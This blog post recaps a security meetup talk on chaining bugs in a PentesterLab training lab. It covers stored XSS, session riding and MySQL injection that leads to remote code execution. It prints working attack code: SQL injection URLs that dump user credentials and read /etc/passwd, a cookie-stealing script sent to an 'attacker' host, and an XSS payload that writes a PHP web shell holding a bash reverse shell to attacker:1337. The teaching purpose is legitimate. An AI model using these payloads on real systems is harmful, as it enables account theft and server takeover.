NullHyd Jan Meetup Talk on Chaining bugs and Writing single click Exploits

Ciph3r00t
Ciph3r00t
Jan 26 · 5 min read

Excited to share that I gave a talk at the Null Hyderabad Security Meet. The event was organized on 25th Jan 2020 by Salesforce, Hyderabad.

Abstract

We started the talk with quick recap on basics with Authentication, SQLi and some demos of Context-based XSS. This talk leveraged Pentesterlab’s “XSS and MySQL FILE” exercise for demonstration of chaining Pre and Post authenticated vulnerabilities and developing a single click exploit to gain Remote Code Execution.

Agenda

Vulnerability Discovery
→ Setting up python proxy to BurpSuite for debugging
Minimizing the Request
Automate the discovery process
Session Hijacking vs Session Riding
Post authenticated SQL Injection
Develop Session Riding Payload
Remote Code Execution
Stored XSS → Session Riding → SQLi → Shell Upload → RCE

Slides

Vulnerability Discovery

Spin up both VMs, Kali Linux (Attacker) & XSS-MySQL Lab (Target)
Quickly Run a few commands to add identified IPs to /etc/hosts files for ease.

netdiscover -r IP
echo “IP-of-Target target” >> /etc/hosts
echo “IP-of-KaliLinux attacker” >> /etc/hosts
nmap -sV target

Opening up http://target shows a blog available with 2 posts (post.php?id=1) where unauthenticated users can comment.

Cross Site Scripting
We analyzed post.php and post_comment.php files having multiple consecutive function calls to POST and DISPLAY comments to the users. Posted comments will be inserted into the database and retrieved back to users when posts are displayed. Interestingly there’s no validation in between resulting in Stored XSS.

First, validated the vulnerability with popping an alert with <script src=”http://attacker/alert.js”></script> and then captured the cookies with <script src=”http://attacker/cookie_steal.js”></script> payload.

Setting up python proxy to BurpSuite for debugging

Adding this to our python script will redirect the traffic through BurpSuite:proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}r = requests.post(url, data=body, headers=headers, proxies=proxies)

Minimizing the POST Requests

We identified the POST request to /post_comment.php endpoint is making it vulnerable for XSS but before automating this we should always remove the optional parameters and headers from the REQUEST to keep it clean.
We identified that only Content-Type header is required and other headers can be removed from the Request.

Session Hijacking vs Session Riding
Considering limitations of session hijacking i.e., HttpOnly cookie headers in 2020 and expiration of session on user logging out of his account, we tried understanding how session riding can be utilized to access administration functionality to exploit a Post-authenticated SQL injection and gain RCE.

And there’s no CSRF protection on authenticated pages to prevent us from Riding user sessions.

Post-Authenticated SQL Injection
Once again we analyzed the source code for identifying SQLi in authenticated functionalities. Reviewing the code of /admin/edit.php, we came to know that user controlled input is being used in generating MySQL UPDATE query without any validation resulting in SQL injection attack. We can confirm that by visiting the following URLs and extracting the admin creds from the DB.

Identify Error-based SQL Injection:
http://target/admin/edit.php?id=2'
Finding number of columns
http://target/admin/edit.php?id=2 ORDER BY 5 //error
http://target/admin/edit.php?id=2 ORDER BY 4 //no error
Identify which columns data is echoed on web page:
http://target/admin/edit.php?id=-3 union select 1,2,3,4
//2nd and 3rd columns are echoed back
Execute version() and user() methods:
http://target/admin/edit.php?id=-3 union select 1,version(),user(),4
Find out table names in the database: interested in 'users'
http://target/admin/edit.php?id=-2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()
Find out column names in users table:
http://target/admin/edit.php?id=-2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='users'
Extract data (id, login, password) from users table:
http://target/admin/edit.php?id=-2 union select 1,2,group_concat(id,'::::',login,'::::',password),4 from users

SQLi and MySQL FILE priv
The FILE privilege allows MySQL users to read and write files on the system.

To check which users have FILE privilege:
SELECT user FROM mysql.user WHERE file_priv=’Y’;
To read files from the system:
http://target/admin/edit.php?id=-3 union select 1,2,load_file('/etc/passwd'),4
Note: edit.php is only available to admin user.To write files on the system:
http://target/admin/edit.php?id=-3 union select 1,2,"<?php phpinfo();?>",4 into outfile /var/www/css/a.php
Create a PHP file in the directory which can be accessed from the browser and have write permissions to www-data app user account. Can bruteforce directories with 'dirb http://target'.Here we try validating RCE by executing phpinfo() method of php.

Connecting the Dots and Crafting the Exploit

So far we have found:
→ Unauthenticated Stored XSS
→ Session Riding
→ Authenticated SQL Injection
→ A place to write our files to i.e., /var/www/css and /var/www/images
→ Uploading a Reverse shell and executing it

Automate the whole process to a Single Exploit

root@kali:~/nullhyd# cat post_comment.py

import sys
import requests
def post_comment(ip, payload):
print "(+) Posting comment on blog!!"
url = 'http://' + '%s/post_comment.php?id=1' % ip
body = {'title': 'ok', 'author':'wk', 'text':'{}'.format(payload), 'submit':'Submit+Query'}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
r = requests.post(url, data=body, headers=headers, proxies=proxies)
def main():
if len(sys.argv) != 3:
print "(+) Usage: %s <target> <xss-payload>" % sys.argv[0]
print "(+) eg: python %s target '<script src=\"http://attacker/xss_exploit.js\"></script>'" % sys.argv[0]
sys.exit(-1)
ip = sys.argv[1]
payload = sys.argv[2]
post_comment(ip, payload)if __name__ == "__main__":
main()

root@kali:~/nullhyd# cat alert.js

alert(‘XSS’)

root@kali:~/nullhyd# cat cookie_steal.js

function addTheImage(){
var img = document.createElement(‘img’);
img.src = ‘http://attacker/' + document.cookie;
document.body.appendChild(img);
}
addTheImage();

root@kali:~/nullhyd# cat xss_exploit.js

shell = “<?php exec(‘/bin/bash -c \\\”bash -i >%26 /dev/tcp/attacker/1337 0>%261\\\” ‘);?>”;function uploadShell(){
var uri = “/admin/edit.php”;
var query_string = “?id=-2 union select 1,2,” + ‘“‘ + shell + ‘“‘ + “,4 into outfile ‘/var/www/css/shell.php’”;

xhr = new XMLHttpRequest();
xhr.open(“GET”, uri + query_string);
xhr.send(null);
}
function triggerShell(){
var uri = “/css/shell.php”
xhr = new XMLHttpRequest();
xhr.open(“GET”, uri);
xhr.send(null);
}
uploadShell();
setTimeout(triggerShell, 1000);

Trigger the Shell!

We’ve kept ready all the files shared above in the same folder and running a simple HTTP server locally to host files which will be requested by the application when our exploit runs.

python -m SimpleHTTPServer 80

Now a new terminal with Netcat listener running on port 1337

nc -nlvp 1337

All set! Let’s fire up the exploit and catch the reverse shell on to the system…

root@kali:~/nullhyd# python post_comment.py 
(+) Usage: post_comment.py <target> <xss-payload>
(+) eg: python post_comment.py target '<script src="http://attacker/xss_exploit.js"></script>'
root@kali:~/nullhyd# python post_comment.py target '<script src="http://attacker/xss_exploit.js"></script>'

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade